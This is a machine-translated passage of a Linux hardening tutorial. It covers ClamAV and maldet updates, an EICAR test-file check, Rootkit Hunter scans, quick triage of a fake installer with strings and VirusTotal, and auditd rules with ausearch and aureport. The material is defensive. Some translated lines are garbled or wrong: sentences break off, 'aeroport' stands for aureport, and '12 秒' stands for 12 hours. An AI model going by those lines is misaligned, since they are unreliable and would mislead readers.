Downloading daily.cvd [100%] -. . . -. . . -``` - -您将在 Ubuntu 日志或 CentOS 日志中看到这些相同的条目。但是,更新如何自动运行是有区别的。 - -在你的 Ubuntu 机器的`/etc/clamav/freshclam.conf`文件中,你会在最后看到以下几行: - -```sh -# Check for new database 24 times a day -Checks 24 -DatabaseMirror db.local.clamav.net -DatabaseMirror database.clamav.net -``` - -所以,本质上,这意味着在 Ubuntu 上,ClamAV 将每小时检查一次更新。 - -在您的 CentOS 机器上,您将在`/etc/cron.d`目录中看到一个`clamav-update` cron 作业,如下所示: - -```sh -## Adjust this line... -MAILTO=root - -## It is ok to execute it as root; freshclam drops privileges and becomes -## user 'clamupdate' as soon as possible -0 */3 * * * root /usr/share/clamav/freshclam-sleep -``` - -左边第二列的`*/3`表示 ClamAV 每 3 小时检查一次更新。如果你愿意,你可以改变它,但是你也需要改变`/etc/sysconfig/freshclam`文件中的设置。 - -假设您希望 CentOS 每小时也检查 ClamAV 更新。在 cron 作业文件中,将`*/3`更改为`*`。(不需要做`*/1`,因为那个位置的星号本身就已经表示工作每小时运行一次。)然后,在`/etc/sysconfig/freshclam`文件中,查找这一行: - -```sh -# FRESHCLAM_MOD= -``` - -取消对该行的注释,并添加更新之间所需的分钟数。要将其设置为 1 小时,以便与 cron 作业匹配,它将如下所示: - -```sh -FRESHCLAM_MOD=60 -``` - -为了证明`maldet`正在被更新,你可以在`/usr/local/maldetect/logs/`目录中查看它自己的日志文件。在`event_log`文件中,您将看到以下消息: - -```sh -Dec 06 22:06:14 localhost maldet(3728): {sigup} performing signature update check... -Dec 06 22:06:14 localhost maldet(3728): {sigup} local signature set is version 2017070716978 -Dec 06 22:07:13 localhost maldet(3728): {sigup} downloaded https://cdn.rfxn.com/downloads/maldet.sigs.ver -Dec 06 22:07:13 localhost maldet(3728): {sigup} new signature set (201708255569) available -Dec 06 22:07:13 localhost maldet(3728): {sigup} downloading https://cdn.rfxn.com/downloads/maldet-sigpack.tgz -. . . -. . . -Dec 06 22:07:43 localhost maldet(3728): {sigup} unpacked and installed maldet-clean.tgz -Dec 06 22:07:43 localhost maldet(3728): {sigup} signature set update completed -Dec 06 22:07:43 localhost maldet(3728): {sigup} 15218 signatures (12485 MD5 | 1954 HEX | 779 YARA | 0 USER) -Dec 06 22:14:55 localhost maldet(4070): {scan} signatures loaded: 15218 (12485 MD5 | 1954 HEX | 779 YARA | 0 USER) -``` - -在`/usr/local/maldetect/conf.maldet`文件中,您会看到这两行,但中间有一些注释: - -```sh -autoupdate_signatures="1" - -autoupdate_version="1" -``` - -LMD 不仅会自动更新其恶意软件签名,还会确保您拥有最新版本的 LMD。 - -# 用 ClamAV 和 maldet 扫描 - -LMD 的 maldet 守护程序会持续监控您在`/usr/local/maldetect/monitor_paths`文件中指定的目录。当它在我的主目录中找到时。幸运的是,这比听起来容易,因为我们 - -**European Institute for Computer Antivirus Research **(**EICAR**) provides a virus signature that you can include in a plaintext file. You can get it at [http://2016.eicar.org/86-0-Intended-use.html](http://2016.eicar.org/86-0-Intended-use.html). - -要创建模拟病毒文件,请转到我在前面链接中列出的页面。 - -向下滚动到页面底部,直到在文本框中看到这一行文本: - -```sh -X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* -``` - -复制这一行文本,并将其插入一个文本文件,然后保存到任一虚拟机的主目录中。(你想叫什么都可以,但我就叫我的`testing.txt`。)稍等片刻,您应该会看到文件消失。然后,查看`/usr/local/maldetect/logs/event_log`文件,验证 LMD 是否将文件移至隔离区: - -```sh -Dec 09 19:03:43 localhost maldet(7192): {quar} malware quarantined from '/home/donnie/testing.txt' to '/usr/local/maldetect/quarantine/testing.txt.89513558' -``` - -LMD 还有比我在这里能给你看的更多的东西。但是,您可以在附带的`README`文件中阅读所有相关内容。 - -# SELinux 注意事项 - -过去,在红帽类型的系统上进行防病毒扫描会触发 SELinux 警报。但是,在这一章的校对过程中,扫描都正常进行,SELinux 从来没有打扰过我。所以,它 - -如果您确实在病毒扫描中生成了任何 SELinux 警报,您只需更改一个布尔值就可以修复它: - -```sh -[donnie@localhost ~]$ getsebool -a | grep 'virus' -antivirus_can_scan_system --> off -antivirus_use_jit --> off -[donnie@localhost ~]$ -``` - -这里让我们感兴趣的是`antivirus_can_scan_system`布尔值,默认情况下是关闭的。要打开它以启用病毒扫描,只需执行以下操作: - -```sh -[donnie@localhost ~]$ sudo setsebool -P antivirus_can_scan_system on -[sudo] password for donnie: - -[donnie@localhost ~]$ getsebool antivirus_can_scan_system -antivirus_can_scan_system --> on -[donnie@localhost ~]$ -``` - -这应该可以解决任何与 SELinux 相关的扫描问题。但是,就目前的情况来看,你可能不需要担心。 - -# 用 Rootkit 猎人扫描 Rootkit - -Rootkits 是非常讨厌的恶意软件,肯定会毁了你的一天。他们可以监听主人的命令,窃取敏感数据并发送给主人,或者为主人提供一个方便的后门。它们被设计成隐形的,能够隐藏在普通人的视线之外。有时,他们会用自己的安装了木马的版本来替换实用程序 su as ls 或 ps,显示系统上的所有文件或进程,但与 rootkit 相关的文件或进程除外。Rootkits 可以感染任何操作系统,甚至是我们钟爱的 Linux。 - -为了植入 rootkit,攻击者必须已经获得了系统的管理权限。这就是为什么当我看到人们从根用户的 shell 中完成所有工作时,我总是畏缩不前的原因之一,也是为什么我坚决主张尽可能使用 sudo 的原因之一。我是说,真的,我们为什么要让坏人逍遥法外? - -Several years ago, back in the dark days of Windows XP, Sony Music got into a bit of trouble when someone discovered that they had planted a rootkit on their music CDs. They didn't mean to do anything malicious, but only wanted to stop people from using their computers to make illegal copies. Of course, most people ran Windows XP with an administrator account, which made it really easy for the rootkit to infect their computers. Windows users still mostly run with administrator accounts, but they at least now have User Access Control to help mitigate these types of problems. - -有几个不同的程序扫描 rootkits,两者的使用方式基本相同。我们现在要看的这个叫做 Rootkit Hunter。 - -Allow me to emphasize that in order to plant a rootkit on a Linux machine, an attacker has to have already gained root user privileges. So, the best way to deal with rootkits is to prevent them by ensuring that only trusted, authorized personnel have root privileges. - -好吧,我们去实验室吧。 - -# 动手实验–安装和更新 Rootkit Hunter - -对于 Ubuntu 来说,Rootkit Hunter 在正常的存储库中。对于 CentOS,您需要安装 EPEL 存储库,正如我在[第 1 章](01.html)*中向您展示的那样,在虚拟环境*中运行 Linux。对于两个 Linux 发行版,包名都是`rkhunter`。让我们开始吧: - -1. 根据需要,使用以下命令之一安装 Rootkit Hunter。对于 Ubuntu,请执行以下操作: - -```sh -sudo apt install rkhunter -``` - -对于 CentOS 7,请执行以下操作: - -```sh -sudo yum install rkhunter -``` - -对于 CentOS 8,请执行以下操作: - -```sh -sudo dnf install rkhunter -``` - -2. 安装后,您可以使用以下命令查看其选项: - -```sh -man rkhunter -``` - -3. 接下来您需要做的是使用`--update`选项更新 rootkit 签名: - -```sh -[donnie@localhost ~]$ sudo rkhunter --update -[ Rootkit Hunter version 1.4.4 ] -Checking rkhunter data files... - Checking file mirrors.dat [ Updated ] - Checking file programs_bad.dat [ Updated ] - Checking file backdoorports.dat [ No update ] - Checking file suspscan.dat [ Updated ] - Checking file i18n/cn [ No update ] - Checking file i18n/de [ Updated ] - Checking file i18n/en [ Updated ] - Checking file i18n/tr [ Updated ] - Checking file i18n/tr.utf8 [ Updated ] - Checking file i18n/zh [ Updated ] - Checking file i18n/zh.utf8 [ Updated ] - Checking file i18n/ja [ Updated ] -``` - -4. 现在,我们准备扫描。 - -您已经到达了实验室的终点–祝贺您! - -# 扫描 rootkits - -要运行扫描,请使用`-c`选项。(那是`-c`检查。)要有耐心,因为这需要一段时间: - -```sh -sudo rkhunter -c -``` - -当您以这种方式运行扫描时,Rootkit Hunter 会定期停止并要求您点击*进入*键继续。扫描完成后,您会在`/var/log`目录中找到一个`rkhunter.log`文件。 - -要让 Rootkit Hunter 作为 cron 作业自动运行,您需要使用`--cronjob`选项,该选项将使程序一直运行,而不会提示您继续按下*回车*键。您可能还想使用`--rwo`选项,这将导致程序只报告警告,而不是报告所有好的事情。从命令行看,该命令如下所示: - -```sh -sudo rkhunter -c --cronjob --rwo -``` - -要创建每晚自动运行 Rootkit Hunter 的 cron 作业,请打开 root 用户的 crontab 编辑器: - -```sh -sudo crontab -e -u root -``` - -假设你想每晚 10 点 20 分运行 Rootkit Hunter。将此输入 crontab 编辑器: - -```sh -20 22 * * * /usr/bin/rkhunter -c --cronjob --rwo -``` - -由于 cron 只使用 24 小时制,您必须将晚上 10:00 表示为 22 点。(只需在您习惯使用的正常下午时钟时间上增加 12 秒。)三个星号表示作业将分别在每月、每月和每周的每一天运行。您需要列出该命令的整个路径;否则,cron 将无法找到它。 - -你会在`rkhunter`手册页上找到更多可能让你感兴趣的选项,但这应该足以让你继续下去。 - -接下来,让我们看几个分析恶意软件的快速技术。 - -# 使用字符串和病毒总数执行快速恶意软件分析 - -恶意软件分析是我在这里无法详细介绍的高级主题之一。但是,我可以向您展示几种快速分析可疑文件的方法。 - -# 用字符串分析文件 - -可执行文件中经常嵌入文本字符串。您可以使用字符串实用程序来查看这些字符串。(是啊,有道理,对吧?)根据您的发行版本,字符串可能已经安装,也可能尚未安装。它已经在 CentOS 上运行了,但是要在 Ubuntu 上运行,您需要安装`binutils`包,如下所示: - -```sh -sudo apt install binutils -``` - -举个例子,我们来看看这个`Your File Is Ready To Download_2285169994.exe`文件,它是从一个加密硬币水龙头网站自动下载的。(如果你想自己玩这个,你可以从 Packt Publishing 网站下载的代码文件中找到这个。)要检查文件,请执行以下操作: - -```sh -strings "Your File Is Ready To Download_2285169994.exe" > output.txt -vim output.txt - -``` - -我把输出保存到了一个可以在`vim`打开的文本文件中,这样就可以查看行号了。要查看行号,请使用`vim`屏幕底部的`:set number`。(用`vim`的说法,我们用的是最后一行模式。) - -很难说到底要搜索什么,所以你只需要浏览一下,直到你看到一些有趣的东西。在这种情况下,看看我从第`386`行开始发现了什么: - -```sh -386 The Setup program accepts optional command line parameters. -387 /HELP, /? -388 Shows this information. -389 /SP- -390 Disables the This will install... Do you wish to continue? prompt at the beginning of Setup. -391 /SILENT, /VERYSILENT -392 Instructs Setup to be silent or very silent. -393 /SUPPRESSMSGBOXES -394 Instructs Setup to suppress message boxes. -. . . -399 /NOCANCEL -400 Prevents the user from cancelling during the installation process. -. . . -``` - -据说这个程序的安装过程可以做成在`SILENT`模式下运行,不会弹出任何对话框。也可以让它以用户无法取消安装的方式运行。当然,最上面一行写着这些是`optional command line parameters`。但是,它们真的是可选的,还是硬编码为默认的?不清楚,但在我看来,任何可以在`SILENT`模式下运行并且不能取消的安装程序看起来都有点可疑,即使我们在谈论`optional`参数。 - -Okay, so you're probably wondering, *What is a cryptocoin faucet?* Well, it's a website where you can go to claim a small amount of cryptocoin, such as Bitcoin, Ethereum, or Monero, in exchange for viewing the advertising and solving some sort of CAPTCHA puzzle. Most faucet operators are honest, but the advertising they allow on their sites often isn't and is often laden with malware, scams, and Not-Safe-For-Work images. - -现在,这个小技巧有时很有效,但不总是有效。更复杂的恶意软件可能不包含任何可以给你任何类型线索的文本字符串。那么,让我们来看看恶意软件分析的另一个小技巧。 - -# 使用病毒扫描恶意软件总计 - -病毒总量是一个网站,您可以上传可疑文件进行分析。它使用多种不同的病毒扫描程序,所以如果一个扫描程序遗漏了什么,另一个很可能会发现它。以下是扫描`Your File Is Ready To Download_2285169994.exe`文件的结果: - -![](img/55c9a8f7-390e-4e5a-bf9a-37cb9478a998.png) - -在这里,我们可以看到不同的病毒扫描程序以不同的方式对该文件进行分类。但是是否归类为 Win。恶意软件。安装核心,木马。InstallCore,或者别的什么,还是不好。 - -As good as VirusTotal is, you'll want to use it with caution. Don't upload any files that contain sensitive or confidential information, because it will get shared with other people. - -那么,这个特定的恶意软件是关于什么的呢?嗯,其实是假的 Adobe Flash 安装程序。当然,您不想通过在生产 Windows 机器上安装来测试它。但是,如果你手边有一个视窗虚拟机,你可以在上面测试恶意软件。(或者在开始之前制作虚拟机的快照,或者准备在之后丢弃虚拟机。) - -正如我在开头所说的,恶意软件分析是一个相当深入的话题,有很多更复杂的程序可以用来分析它。然而,如果你对某件事有所怀疑,只需要做一个快速检查,这两个技巧可能就是你所需要的。 - -接下来,让我们看看如何自动审计系统的不同事件。 - -# 了解审计后台程序 - -因此,您有一个目录,其中充满了只有极少数人需要查看的超级机密文件,您想知道未经授权的人何时试图查看这些文件。或者,您可能想知道某个文件何时被更改,或者您想知道人们何时登录系统,以及他们登录后在做什么。对于所有这些和更多,你有审计系统。这是一个非常酷的系统,我想你会喜欢的。 - -One of the beauties of auditd is that it works at the Linux kernel level, rather than at the user-mode level. This makes it much harder for attackers to subvert. - -在红帽型系统上,默认情况下安装并启用 auditd。所以,你会发现它已经在你的 CentOS 机器上了。在 Ubuntu 上,它不会被安装,所以你必须自己安装: - -```sh -sudo apt install auditd -``` - -在 Ubuntu 上,你可以用普通的`systemctl`命令控制审计守护进程。因此,如果您需要重新启动 auditd 以读入新配置,您可以通过以下方式实现: - -```sh -sudo systemctl restart auditd -``` - -在 RHEL/CentOS 7 和 8 上,由于一些我不理解的原因,auditd 被配置为不能使用正常的`systemctl`命令。(对于所有其他守护程序,它们都是如此。)因此,在您的 CentOS 7/8 机器上,您将使用老式的`service`命令重新启动 auditd 守护程序,如下所示: - -```sh -sudo service auditd restart -``` - -除了这个微小的区别,我告诉你的关于审计的一切都将适用于 Ubuntu 和 CentOS。 - -# 创建审计规则 - -好吧,让我们从一些简单的事情开始,然后一步步走向一些令人敬畏的事情。首先,让我们检查是否有任何审计规则生效: - -```sh -[donnie@localhost ~]$ sudo auditctl -l -[sudo] password for donnie: -No rules -[donnie@localhost ~]$ -``` - -如您所见,`auditctl`命令是我们用来管理审计规则的。`-l`选项列出了规则。 - -# 审计文件的更改 - -现在,假设我们希望看到有人更改`/etc/passwd`文件。(我们将使用的命令看起来有点令人生畏,但我保证,一旦我们分解它,它就会有意义。)下面是: - -```sh -[donnie@localhost ~]$ sudo auditctl -w /etc/passwd -p wa -k passwd_changes -[sudo] password for donnie: - -[donnie@localhost ~]$ sudo auditctl -l --w /etc/passwd -p wa -k passwd_changes -[donnie@localhost ~]$ -``` - -细分如下: - -* `-w`:这个代表在哪里,指向我们要监控的对象。这种情况下就是`/etc/passwd`。 -* `-p`:表示我们要监控的对象的权限。在这种情况下,我们正在监视是否有人试图写入文件或试图进行属性更改。(我们可以审计的另外两个权限是(r)ead 和 e(x)ecute。) -* `-k`:`k`代表 key,这只是 auditd 为规则指定名称的方式。所以,`passwd_changes`是我们正在创造的规则的关键,或者说名字。 - -`auditctl -l`命令告诉我们规则确实存在。 - -现在,这个小问题是,这个规则只是暂时的,当我们重新启动机器时,它就会消失。为了使其永久化,我们需要在`/etc/audit/rules.d/`目录中创建一个自定义`rules`文件。然后,当您重新启动 auditd 守护程序时,自定义规则将被插入到`/etc/audit/audit.rules`文件中。因为`/etc/audit/`目录只能由具有 root 权限的人访问,所以我将通过列出文件的完整路径来打开文件,而不是试图进入目录: - -```sh -sudo less /etc/audit/audit.rules -``` - -这个默认文件中没有太多内容: - -```sh -## This file is automatically generated from /etc/audit/rules.d --D --b 8192 --f 1 - -``` - -这是这个文件的细目: - -* `-D`:这将导致当前生效的所有规则和手表被删除,这样我们就可以从头开始了。因此,如果我现在重新启动 auditd 守护程序,它将读取这个`audit.rules`文件,这将删除我刚刚创建的规则。 -* `-b 8192`:这设置了我们一次可以拥有的未完成审计缓冲区的数量。如果所有缓冲区都已满,系统将无法再生成任何审计消息。 -* `-f 1`:设置关键错误的失效模式,数值可以是`0`、`1`或`2`。`-f 0`将模式设置为静音,这意味着 auditd 不会对严重错误采取任何措施。`-f 1`,正如我们在这里看到的,告诉 auditd 只报告关键错误,而`-f 2`会导致 Linux 内核进入死机模式。根据`auditctl`手册页,任何处于高度安全环境中的人都可能希望将其更改为`-f 2`。然而,对我们来说,`-f1`是有效的。 - -您可以使用文本编辑器在`/etc/audit/rules.d/`目录中创建新的`rules`文件。或者,您可以将`auditctl -l`输出重定向到一个新文件,如下所示: - -```sh -[donnie@localhost ~]$ sudo sh -c "auditctl -l > /etc/audit/rules.d/custom.rules" -[donnie@localhost ~]$ sudo service auditd restart - -On Ubuntu: -sudo systemctl restart auditd -``` - -由于 Bash shell 不允许我直接将信息重定向到`/etc`目录下的文件中,即使使用 sudo,我也必须使用`sudo sh -c`命令才能执行`auditctl`命令。重新启动 auditd 守护程序后,我们的`audit.rules`文件现在如下所示: - -```sh -## This file is automatically generated from /etc/audit/rules.d --D --b 8192 --f 1 - --w /etc/passwd -p wa -k passwd_changes -``` - -现在,该规则将在每次计算机重新启动时生效,并且每次您手动重新启动 auditd 守护程序时生效。 - -# 审计目录 - -维姬和克利奥帕特拉,我的灰猫和灰白色斑猫,有一些超级敏感的秘密,他们需要保护。于是,我创建了`secretcats`组,并将它们添加到其中。然后,我创建了`secretcats`共享目录,并在上面设置了访问控制,正如我在[第 8 章](08.html)、*访问控制列表和共享目录管理*中向您展示的那样: - -```sh -[donnie@localhost ~]$ sudo groupadd secretcats -[sudo] password for donnie: - -[donnie@localhost ~]$ sudo usermod -a -G secretcats vicky -[donnie@localhost ~]$ sudo usermod -a -G secretcats cleopatra - -[donnie@localhost ~]$ sudo mkdir /secretcats -[donnie@localhost ~]$ sudo chown nobody:secretcats /secretcats/ -[donnie@localhost ~]$ sudo chmod 3770 /secretcats/ - -[donnie@localhost ~]$ ls -ld /secretcats/ -drwxrws--T. 2 nobody secretcats 6 Dec 11 14:47 /secretcats/ -[donnie@localhost ~]$ -``` - -维姬和克利奥帕特拉想要绝对确保没有人进入他们的东西,所以他们要求我为他们的目录建立一个审计规则: - -```sh -[donnie@localhost ~]$ sudo auditctl -w /secretcats/ -k secretcats_watch -[sudo] password for donnie: - -[donnie@localhost ~]$ sudo auditctl -l --w /etc/passwd -p wa -k passwd_changes --w /secretcats -p rwxa -k secretcats_watch -[donnie@localhost ~]$ -``` - -和以前一样,`-w`选项表示我们要监控的内容,而`-k`选项表示审计规则的名称。这一次,我省略了`-p`选项,因为我想监视每种类型的访问。换句话说,我希望监控任何读、写、属性更改或执行操作。(因为这是一个目录,所以当有人试图`cd`进入目录时,执行动作就会发生。)您可以在`auditctl -l`输出中看到,通过省略`-p`选项,我们现在将监控所有内容。但是,假设我只想监视有人试图`cd`进入该目录的时间。相反,我可以让规则看起来像这样: - -```sh -sudo auditctl -w /secretcats/ -p x -k secretcats_watch -``` - -到目前为止很容易,对吧? - -Plan carefully when you create your own custom audit rules. Auditing more files and directories than you need to can have a bit of a performance impact and could drown you in excessive information. Just audit what you really need to audit, as called for by either the scenario or what any applicable governing bodies require. - -现在,让我们看一些更复杂的东西。 - -# 审计系统调用 - -创建规则来监控某人何时执行某个动作并不难,但是命令语法比我们目前看到的要复杂一些。有了这条规则,每当查理试图打开文件或试图创建文件时,我们都会收到警报: - -```sh -[donnie@localhost ~]$ sudo auditctl -a always,exit -F arch=b64 -S openat -F auid=1006 -[sudo] password for donnie: - -[donnie@localhost ~]$ sudo auditctl -l --w /etc/passwd -p wa -k passwd_changes --w /secretcats -p rwxa -k secretcats_watch --a always,exit -F arch=b64 -S openat -F auid=1006 -[donnie@localhost ~]$ -``` - -细分如下: - -* `-a always,exit`:这里,我们有动作和列表。`exit`部分意味着该规则将被添加到系统调用`exit`列表中。每当操作系统从系统调用中退出时,`exit`列表将用于确定是否需要生成审计事件。`always`部分是操作,这意味着在退出指定的系统调用时,将始终创建该规则的审计记录。请注意,动作和列表参数必须用逗号分隔。 -* `-F arch=b64`:使用`-F`选项构建规则字段,在这个命令中我们可以看到两个规则字段。第一个规则字段指定机器的中央处理器体系结构。`b64`表示电脑运行的是 x86_64 CPU。(不管是英特尔还是 AMD 都无所谓。)考虑到 32 位机器正在消亡,Sun 和 PowerPC 机器并不那么常见,`b64`是您现在最常看到的。 -* `-S openat`:选项`-S`指定我们要监控的系统调用。`openat`是打开或创建文件的系统调用。 -* `-F auid=1006`:第二个审计字段指定我们要监控的用户的用户 ID 号。(查理的用户 ID 号是`1006`。) - -A complete explanation of system calls, or syscalls, is a bit too esoteric for our present purpose. For now, suffice it to say that a syscall happens whenever a user issues a command that requests that the Linux kernel provide a service. If you're so inclined, you can read more about syscalls at [https://blog.packagecloud.io/eng/2016/04/05/the-definitive-guide-to-linux-system-calls/](https://blog.packagecloud.io/eng/2016/04/05/the-definitive-guide-to-linux-system-calls/). - -我在这里介绍的只是您可以使用审计规则做的许多事情中的几件。要查看更多示例,请查看`auditctl`手册页: - -```sh -man auditctl -``` - -所以,现在你在想,*既然我有了这些规则,我怎么知道什么时候有人试图违反它们?*一如既往,很高兴你这么问。 - -# 使用 ausearch 和 aeroport - -被审计的守护程序将事件记录到`/var/log/audit/audit.log`文件中。虽然你可以用`less`之类的东西直接读取文件,但你真的不想。`ausearch`和`aureport`实用程序将帮助您将文件翻译成某种有意义的语言。 - -# 搜索文件更改警报 - -让我们从查看我们创建的规则开始,每当对`/etc/passwd`文件进行更改时,该规则都会提醒我们: - -```sh -sudo auditctl -w /etc/passwd -p wa -k passwd_changes -``` - -现在,让我们对文件进行更改,并查找警报消息。与其添加另一个用户,因为我已经没有我可以使用名字的猫了,我只需要使用`chfn`实用程序将联系信息添加到克利奥帕特拉条目的评论栏中: - -```sh -[donnie@localhost etc]$ sudo chfn cleopatra -Changing finger information for cleopatra. -Name []: Cleopatra Tabby Cat -Office []: Donnie's back yard -Office Phone []: 555-5555 -Home Phone []: 555-5556 - -Finger information changed. -[donnie@localhost etc] -``` - -现在,我将使用`ausearch`查找该事件可能生成的任何审计消息: - -```sh -[donnie@localhost ~]$ sudo ausearch -i -k passwd_changes ----- -type=CONFIG_CHANGE msg=audit(12/11/2017 13:06:20.665:11393) : auid=donnie ses=842 subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 op=add_rule key=passwd_changes li -st=exit res=yes ----- -type=CONFIG_CHANGE msg=audit(12/11/2017 13:49:15.262:11511) : auid=donnie ses=842 op=updated_rules path=/etc/passwd key=passwd_changes list=exit res=yes -[donnie@localhost ~]$ -``` - -细分如下: - -* `-i`:这将获取任何数字数据,并尽可能将其转换为文本。在这种情况下,它获取用户的身份证号码,并将其转换为实际的用户名,在这里显示为`auid=donnie`。如果我将`-i`留在外面,用户信息将显示为`auid=1000`,这是我的用户标识号。 -* `-k passwd_changes`:这指定了我们想要查看审计消息的审计规则的关键字或名称。 - -在这里,您可以看到这个输出有两个部分。第一部分只显示了我创建审计规则的时间,因此我们对此不感兴趣。在第二部分中,您可以看到我何时触发了规则,但它没有显示我是如何触发的。所以,让我们用`aureport`看看它是否会给我们更多的细节: - -```sh -[donnie@localhost ~]$ sudo aureport -i -k | grep 'passwd_changes' -1\. 12/11/2017 13:06:20 passwd_changes yes ? donnie 11393 -2\. 12/11/2017 13:49:15 passwd_changes yes ? donnie 11511 -3\. 12/11/2017 13:49:15 passwd_changes yes /usr/bin/chfn donnie 11512 -4\. 12/11/2017 14:54:11 passwd_changes yes /usr/sbin/usermod donnie 11728 -5\. 12/11/2017 14:54:25 passwd_changes yes /usr/sbin/usermod donnie 11736 -[donnie@localhost ~]$ -``` - -奇怪的是,使用`ausearch`,您必须在`-k`选项后指定您感兴趣的审计规则的名称或密钥。对于`aureport`,`-k`选项意味着您想要查看与所有审计规则关键字相关的所有日志条目。要查看特定键的日志条目,只需将输出导入`grep`。-i 选项的作用和它对 ausearch 的作用是一样的。 - -如您所见,`aureport`将`audit.log`文件的神秘语言解析为更容易理解的简单语言。我不确定我做了什么来生成事件 1 和 2,所以我查看了`/var/log/secure`文件,看是否能找到。我在那段时间看到了这两个条目: - -```sh -Dec 11 13:06:20 localhost sudo: donnie : TTY=pts/1 ; PWD=/home/donnie ; USER=root ; COMMAND=/sbin/auditctl -w /etc/passwd -p wa -k passwd_changes -. . . -. . . -Dec 11 13:49:24 localhost sudo: donnie : TTY=pts/1 ; PWD=/home/donnie ; USER=root ; COMMAND=/sbin/ausearch -i -k passwd_changes - -``` - -所以,事件 1 发生在我最初创建审计规则的时候,事件 2 发生在我执行`ausearch`操作的时候。 - -我必须承认第 *4* 和第 *5* 行的事件有点神秘。这两个都是在我调用`usermod`命令时创建的,它们都与我将维基和克利奥帕特拉添加到`secretcats`组的安全日志条目相关: - -```sh -Dec 11 14:54:11 localhost sudo: donnie : TTY=pts/1 ; PWD=/home/donnie ; USER=root ; COMMAND=/sbin/usermod -a -G secretcats vicky -Dec 11 14:54:11 localhost usermod[14865]: add 'vicky' to group 'secretcats' -Dec 11 14:54:11 localhost usermod[14865]: add 'vicky' to shadow group 'secretcats' -Dec 11 14:54:25 localhost sudo: donnie : TTY=pts/1 ; PWD=/home/donnie ; USER=root ; COMMAND=/sbin/usermod -a -G secretcats cleopatra -Dec 11 14:54:25 localhost usermod[14871]: add 'cleopatra' to group 'secretcats' -Dec 11 14:54:25 localhost usermod[14871]: add 'cleopatra' to shadow group 'secretcats' -``` - -奇怪的是,将用户添加到二级组不会修改`passwd`文件。所以,我真的不知道为什么触发规则来创建第 *4* 和第 *5* 行的事件。 - -这就剩下第 *3* 行的事件了,这就是我使用`chfn`实际修改`passwd`文件的地方。这是`secure`的日志条目: - -```sh -Dec 11 13:48:49 localhost sudo: donnie : TTY=pts/1 ; PWD=/etc ; USER=root ; COMMAND=/bin/chfn cleopatra -``` - -因此,在所有这些事件中,第 *3* 行的事件是唯一一个`/etc/passwd`文件被实际修改的事件。 - -The `/var/log/secure` file that I keep mentioning here is on Red Hat-type operating systems, such as CentOS. On your Ubuntu machine, you'll see the `/var/log/auth.log` file instead. - -# 搜索目录访问规则违规 - -在下一个场景中,我们为维姬和克利奥帕特拉创建了一个共享目录,并为其创建了一个审计规则,如下所示: - -```sh -sudo auditctl -w /secretcats/ -k secretcats_watch -``` - -因此,对该目录的所有访问或尝试访问都应触发警报。首先,让 Vicky 进入`/secretcats`目录,运行一个`ls -l`命令: - -```sh -[vicky@localhost ~]$ cd /secretcats -[vicky@localhost secretcats]$ ls -l -total 4 --rw-rw-r--. 1 cleopatra secretcats 31 Dec 12 11:49 cleopatrafile.txt -[vicky@localhost secretcats]$ -``` - -在这里,我们可以看到克利奥帕特拉已经去过那里,并且已经创建了一个文件。(我们过一会儿再谈这个。)当一个事件触发一个审计规则时,往往会在`/var/log/audit/audit.log`文件中创建多条记录。如果你仔细查看一个事件的每条记录,你会发现每条记录都涵盖了该事件的不同方面。当我执行`ausearch`命令时,我从那一次`ls -l`操作中总共看到了五条记录。为了节省空间,我就把第一个放在这里: - -```sh -sudo ausearch -i -k secretcats_watch | less - -type=PROCTITLE msg=audit(12/12/2017 12:15:35.447:14077) : proctitle=ls --color=auto -l -type=PATH msg=audit(12/12/2017 12:15:35.447:14077) : item=0 name=. inode=33583041 dev=fd:01 mode=dir,sgid,sticky,770 ouid=nobody ogid=secretcats rdev=00:00 obj=unconfined_u:object_r:default_t:s0 objtype=NORMAL -type=CWD msg=audit(12/12/2017 12:15:35.447:14077) : cwd=/secretcats -type=SYSCALL msg=audit(12/12/2017 12:15:35.447:14077) : arch=x86_64 syscall=openat success=yes exit=3 a0=0xffffffffffffff9c a1=0x2300330 a2=O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC a3=0x0 items=1 ppid=10805 pid=10952 auid=vicky uid=vicky gid=vicky euid=vicky suid=vicky fsuid=vicky egid=vicky sgid=vicky fsgid=vicky tty=pts0 ses=1789 comm=ls exe=/usr/bin/ls subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=secretcats_watch -``` - -我把最后一个放在这里: - -```sh -type=PROCTITLE msg=audit(12/12/2017 12:15:35.447:14081) : proctitle=ls --color=auto -l -type=PATH msg=audit(12/12/2017 12:15:35.447:14081) : item=0 name=cleopatrafile.txt inode=33583071 dev=fd:01 mode=file,664 ouid=cleopatra ogid=secretcats rdev=00:00 obj=unconfined_u:object_r:default_t:s0 objtype=NORMAL -type=CWD msg=audit(12/12/2017 12:15:35.447:14081) : cwd=/secretcats -type=SYSCALL msg=audit(12/12/2017 12:15:35.447:14081) : arch=x86_64 syscall=getxattr success=no exit=ENODATA(No data available) a0=0x7fff7c266e60 a1=0x7f0a61cb9db0 a2=0x0 a3=0x0 items=1 ppid=10805 pid=10952 auid=vicky uid=vicky gid=vicky euid=vicky suid=vicky fsuid=vicky egid=vicky sgid=vicky fsgid=vicky tty=pts0 ses=1789 comm=ls exe=/usr/bin/ls subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=secretcats_watch -``` - -在这两个记录中,您可以看到所采取的行动(`ls -l`)以及采取行动的人(在本例中是猫)的信息。由于这是一台 CentOS 机器,您还可以看到 SELinux 上下文信息。在第二条记录中,您还可以看到 Vicky 在执行`ls`命令时看到的文件名。 - -接下来,假设那个鬼鬼祟祟的查理登录并试图进入`/secretcats`目录: - -```sh -[charlie@localhost ~]$ cd /secretcats --bash: cd: /secretcats: Permission denied -[charlie@localhost ~]$ ls -l /secretcats -ls: cannot open directory /secretcats: Permission denied -[charlie@localhost ~]$ -``` - -查理不是`secretcats`组的成员,也没有进入`secretcats`目录的权限。所以,他应该会触发警报信息。他实际上触发了一个由四条记录组成的记录,我将再次列出第一条和最后一条记录。这是第一个: - -```sh -sudo ausearch -i -k secretcats_watch | less - -type=PROCTITLE msg=audit(12/12/2017 12:32:04.341:14152) : proctitle=ls --color=auto -l /secretcats -type=PATH msg=audit(12/12/2017 12:32:04.341:14152) : item=0 name=/secretcats inode=33583041 dev=fd:01 mode=dir,sgid,sticky,770 ouid=nobody ogid=secretcats rdev=00:00 obj=unconfined_u:object_r:default_t:s0 objtype=NORMAL -type=CWD msg=audit(12/12/2017 